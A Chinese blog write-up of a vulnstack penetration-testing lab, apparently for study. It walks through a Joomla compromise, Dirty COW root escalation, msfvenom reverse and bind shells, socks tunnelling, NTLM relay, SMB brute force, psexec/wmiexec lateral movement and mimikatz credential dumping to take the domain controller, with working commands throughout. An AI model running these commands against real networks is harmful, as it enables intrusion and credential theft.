环境搭建
靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
简单配置一下网卡就行
该靶场环境由5台机器组成,其中包括3台Windows机器和两台Linux机器。
外网打点
发现80端口开着的
然后简单查看是什么框架
发现是Joomla,网上找一下利用工具
github:https://github.com/OWASP/joomscan
版本为3.9.12,有个敏感的配置文件泄露了mqsql的账号密码
但是我搜集了一下3.9.12版本的漏洞,没找到啥可以直接利用的
但是给了数据库账号密码,直接连一下!
发现有个数据库
但是里面的用户表密码都是加密的
外网渗透
所以想了下其他方式,之前有此的dc也是拿了MySQL通过重置密码来完成的
所以我们来找一下这个有无利用点
居然官网就有:如何恢复或重置管理员密码?
根据官网
把新增用户Admin2/secret
然后登录后台,再去收集一波Joomla3.9.12后台getshell的漏洞
人傻了,原来dc系列的时候dc3打过这个cms,忘记了,所以很快就找到了漏洞点
然后蚁剑连接
但是发现无法命令执行
这个情况之前打老师服务器遇见过,就是disable_function禁用了一些函数
蚁剑自带的插件可以实现的
上传之后就可以进行命令执行
我在不经意间发现了有个txt文件有账号密码
然后ssh连接就行了
权限提升
发现权限不够,想办法提权
先看看suid提权
尝试了ping和cash提权都没成功,所有来尝试一下内核提权
突然想起之前的脏牛提权,所有来看看版本
然后发现版本刚好合适
所有照着之前我自己复现的文章打就行
http://blog.m1kael.cn/index.php/archives/37/
发现不太行,有命令缺失
然后去看了wp,发现官网的脏牛脚本可以用,而不是使用kali自带的msf脚本
github地址:https://github.com/FireFart/dirtycow
上传可执行目录内,我这里是万能的/tmp
编译:
gcc -pthread dirty.c -o dirty -lcrypt
移除原本的 passwd.bak 文件
rm -rf /tmp/passwd.bak
执行编译后的文件,并设置密码
./dirty 123456
然后得到root权限账号firefart/123456
提权成功之后来上线
内网渗透
但是我发现一个问题
在蚁剑上面看ip和ssh的ip不一样的
不禁疑惑,但是回头看看流程图,就是所谓的nginx反向代理
具体了解可以看:https://blog.csdn.net/zxd1435513775/article/details/102508463
我去看了一下nginx配置文件
真是nginx反代,其实我认为就看成只是一个简单端口转发
意外的拿下两台linux的shell了,直呼好家伙
centos:192.168.1.110
unbuntu: 192.168.93.120
本来想弹cs上线的,但是由于cs之前的靶场都是直接利用
所以来上线msf,因为我们centos都已经root权限了
所以我们上线centos
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > mshell.elf #生成一个后门文件
然后上传到centos,攻击机启动监听
use exploit/multi/handler #使用监听模块
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.1
set lport 4444
exploit
然后centos执行文件
chmod 777 mshell.elf #文件赋读写执行权限
./mshell.elf #执行后门文件
成功上线
之前就知道了内网ip的c段为93,所以添加路由来横扫内网靶机
background#后台运行
route add 192.168.93.0 255.255.255.0 1#1代表session 1,也可以添加0.0.0.0/24(被控主机能访问的我们就能探测
route print#查看路由是否添加成功
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0/24
set threads 10
run
成功发现拓扑图中的主机ip,目前msf只是内置的模块都可以把流量转发进内网。
现在想把整个kali弄进内网就需要借助则需要搭建socks代理,这里我准备使用earthworm搭建socks5反向代理。
github地址:https://github.com/idlefire/ew
然后在攻击机上执行
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
同时上传一份,在centos上执行
./ew_for_linux64 -s rssocks -d 192.168.1.1 -e 1234
然后配置proxychains,先查找配置文件
然后进去注释掉strict_chain,将socks5服务器指向127.0.0.1:1080,
之后便可以使用proxychains将我们的程序代理进内网了。
proxychains nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F
会发现都开了445端口
然后这里就涉及到了之前说的中间人攻击
NTLM Relay 攻击
这个方法是完成后再写的,建议先看后面
具体可以了解一下这篇文章:https://www.freebuf.com/articles/network/244375.html
使用responder攻击,下载地址https://github.com/sdfzy/responder
./RunFinger.py -i 192.168.93.0/24
然后可以看到后两台域内主机的 SMB 签名都已禁用(false)了,接下来开始利用MultiRelay.py攻击
但是因为这个工具会占用80端口,会和nginx服务冲突,所有先在centos上关闭nginx服务
nginx -s stop
python MultiRelay.py -t 192.168.93.20 -u ALL
可以看见现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off
因为是黑盒所以使用不了,这个方法需要DC随便传递一个 SMB 流量
所以当你看到这的时候是已经通关了来补的
登录域控 TEST\administrator:zxcASDqw123!!
然后就抓到了域内用户的hash
具体还有几种中继的办法:https://redhatzone.com/ask/article/1459.html
SMB密码爆破枚举
因为这三台主机都开了445端口,可以使用smb,使用msf中的smb_login模块进行密码枚举
所以可以直接
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.10/20/30
set SMBUser Administrator
setg Proxies socks5:127.0.0.1:1080
set PASS_FILE /home/kali/Desktop/password-top10w.txt
run
成功爆破出20/30靶机的密码Administrator:123qwe!ASD
这个字典我忘记哪个公众号下载的了,还是比较好用,然后来登录
横向移动
工具地址:https://github.com/thegsoinfosec/Impacket_Extra
proxychains python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
然后之前我们扫出来,除了10都关了smb的签名
proxychains python3 psexec.py 'administrator:123qwe!ASD@192.168.93.30'
成功拿下两个靶机的smb服务,查看网卡信息
发现域控就是10那个靶机,现在就想办法拿下域控
入侵域控
直接msf登录smb服务
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.93.20/30
set SMBUser administrator
set SMBPass 123qwe!ASD
run
发现好像没和域控共享,所有一直找不到利用方法,还得来弹个shell
用smbclient配合proxychain来上传mimikatz
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=6666 -f exe > shell.exe
proxychains smbclient //192.168.93.20/C$ -U administrator
put shell.exe
然后通过我们smb服务来反弹上线
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.1
set lport 6666
exploit
然后不知道为什么反向shell弹不回来
然后我才想起目标靶机不出网,被自己蠢笑,所以换方法
然后来使用正向shell
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f exe >bind.exe
proxychains smbclient //192.168.93.20/C$ -U administrator
put bind.exe
上传成功后然后设置监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set lport 5555
exploit
成功上线
getsystem
load kiwi
creds_all
抓取到域控密码zxcASDqwe123!!
尝试登录
发现不行,应该是防火墙的原因
再想个办法令牌窃取
具体原理:https://cloud.tencent.com/developer/article/1752172
发现20这个靶机窃取不成功
看wp知道是重复之前的步骤,弹个30的靶机,成功拿到域控的权限
或者是通过ipc连接后远程关闭域控的防火墙,然后在使用msf的psexec模块即可
(有个小提醒,msf的psexec模块很怪的,有时候会拉跨
后面发现psexec也能拿到域控权限
proxychains python3 psexec.py 'administrator:123qwe!ASD@192.168.93.10'
然后就是找flag文件了,已经累了
结语
这个靶机折腾了很久,可能因为自己技术不太到位,还得继续学习啊
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!
终于有一篇可以看懂的文章了
大佬tql!